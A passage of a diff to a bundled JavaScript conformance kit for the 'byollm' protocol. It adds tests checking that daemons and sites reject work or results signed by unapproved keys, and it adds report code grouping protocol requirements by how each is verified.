1732
+ expected: {
1733
+ jobId: "job_anything",
1734
+ senderKeyId: keyId2(daemon.sitePinned.identity),
1735
+ recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
1736
+ direction: "payload"
1737
+ }
1738
+ });
1739
+ assert(
1740
+ !opened.ok,
1741
+ "a daemon accepted work signed by a key it never pinned"
1742
+ );
1743
+ assert(
1744
+ opened.reason === "bad-signature",
1745
+ `refused for "${opened.reason}", not the signature \u2014 which is the property here`
1746
+ );
1747
+ const genuine = await fetchGenuine(target, daemon);
1748
+ assert(genuine, "a daemon could not open work its own site sealed");
1749
+ } finally {
1750
+ await daemon.dispose();
1751
+ }
1752
+ }
1753
+ },
1754
+ {
1755
+ id: "C030_SITE_REFUSES_UNSIGNED_RESULTS",
1756
+ title: "a site refuses a result not signed by the device that ran it",
1757
+ musts: ["ENVELOPE_SEALED_AND_SIGNED"],
1758
+ async run(target) {
1759
+ const daemon = await pairDaemon(target, { owner: "alice" });
1760
+ try {
1761
+ const job = await target.enqueue({
1762
+ kind: "llm.generate",
1763
+ payload: { prompt: "who signed this" },
1764
+ owner: "alice"
1765
+ });
1766
+ const claimed = await claimOne(target, daemon);
1767
+ assert(claimed.id === job.id, "the harness could not claim its job");
1768
+ const relay = generateKeys(Date.now());
1769
+ const forged = await postResult(target, daemon, {
1770
+ jobId: job.id,
1771
+ outcome: { outcome: "ok", text: "an answer the device never gave" },
1772
+ sealWith: relay
1773
+ });
1774
+ assert(
1775
+ forged.status !== 200,
1776
+ "a site accepted a result signed by a key it never approved"
1777
+ );
1778
+ const afterForgery = await target.job(job.id);
1779
+ assert(
1780
+ afterForgery?.outcome === void 0,
1781
+ "a refused result still reached the app"
1782
+ );
1783
+ const real = await postResult(target, daemon, {
1784
+ jobId: job.id,
1785
+ outcome: { outcome: "ok", text: "the genuine answer" }
1786
+ });
1787
+ assert(
1788
+ real.status === 200,
1789
+ `a site refused a result its own device sealed (${String(real.status)})`
1790
+ );
1791
+ const lying = await postResult(target, daemon, {
1792
+ jobId: job.id,
1793
+ outcome: {
1794
+ outcome: "error",
1795
+ code: "backend-error",
1796
+ message: "it actually failed",
1797
+ retryable: false
1798
+ },
1799
+ disposition: "ok"
1800
+ });
1801
+ assert(
1802
+ lying.status !== 200,
1803
+ "a site believed a disposition the sealed outcome contradicted"
1804
+ );
1805
+ } finally {
1806
+ await daemon.dispose();
1807
+ }
1808
+ }
955
1809
  }
956
1810
  ];
957
1811
 
958
1812
  // src/certify.ts
959
- import { MUSTS, MUST_IDS } from "@byollm/protocol";
1813
+ import {
1814
+ MUSTS,
1815
+ MUST_IDS,
1816
+ mustsVerifiedBy
1817
+ } from "@byollm/protocol";
960
1818
  async function certify(target, options = {}) {
961
1819
  const only = options.only;
962
1820
  const selected = only ? CHECKS.filter((check) => only.includes(check.id)) : CHECKS;
@@ -993,8 +1851,12 @@ async function certify(target, options = {}) {
993
1851
  }
994
1852
  function uncoveredMusts(checks = CHECKS) {
995
1853
  const covered = new Set(checks.flatMap((check) => check.musts));
996
- return MUST_IDS.filter((id) => !covered.has(id));
1854
+ return mustsVerifiedBy("conformance").filter((id) => !covered.has(id));
997
1855
  }
1856
+ function miscoveredMusts(checks = CHECKS) {
1857
+ return [...new Set(checks.flatMap((check) => check.musts))].filter((id) => MUSTS[id].verifiedBy !== "conformance").sort();
1858
+ }
1859
+ var VERIFICATION_NOTE = "(`adversarial` = proved by the reference daemon's own suites; `construction` = true by code shape; `operator` = a deployment claim, verifiable only by audit or source. None is asserted by this run.)";
998
1860
  function formatReport(report) {
999
1861
  const lines = [];
1000
1862
  lines.push(`byollm conformance \u2014 ${report.target}`);
@@ -1014,11 +1876,24 @@ function formatReport(report) {
1014
1876
  );
1015
1877
  if (report.uncoveredMusts.length > 0) {
1016
1878
  lines.push("");
1017
- lines.push(" MUSTs with no check yet (the kit is honest about its gaps):");
1879
+ lines.push(" MUSTs this kit can assert but does not yet:");
1018
1880
  for (const id of report.uncoveredMusts) {
1019
1881
  lines.push(` - ${id}: ${MUSTS[id].statement}`);
1020
1882
  }
1021
1883
  }
1884
+ const elsewhere = MUST_IDS.filter(
1885
+ (id) => MUSTS[id].verifiedBy !== "conformance"
1886
+ );
1887
+ if (elsewhere.length > 0) {
1888
+ lines.push("");
1889
+ lines.push(" Verified elsewhere, not by this kit:");
1890
+ for (const kind of ["adversarial", "construction", "operator"]) {
1891
+ const ids = elsewhere.filter((id) => MUSTS[id].verifiedBy === kind);
1892
+ if (ids.length === 0) continue;
1893
+ lines.push(` ${kind}: ${ids.join(", ")}`);
1894
+ }
1895
+ lines.push(` ${VERIFICATION_NOTE}`);
1896
+ }
1022
1897
  return `${lines.join("\n")}
1023
1898
  `;
1024
1899
  }
@@ -1033,6 +1908,7 @@ export {
1033
1908
  CHECKS,
1034
1909
  certify,
1035
1910
  uncoveredMusts,
1911
+ miscoveredMusts,
1036
1912
  formatReport
1037
1913
  };
1038
- //# sourceMappingURL=chunk-6EIFYWG2.js.map
1914
+ //# sourceMappingURL=chunk-EXNALQ5D.js.map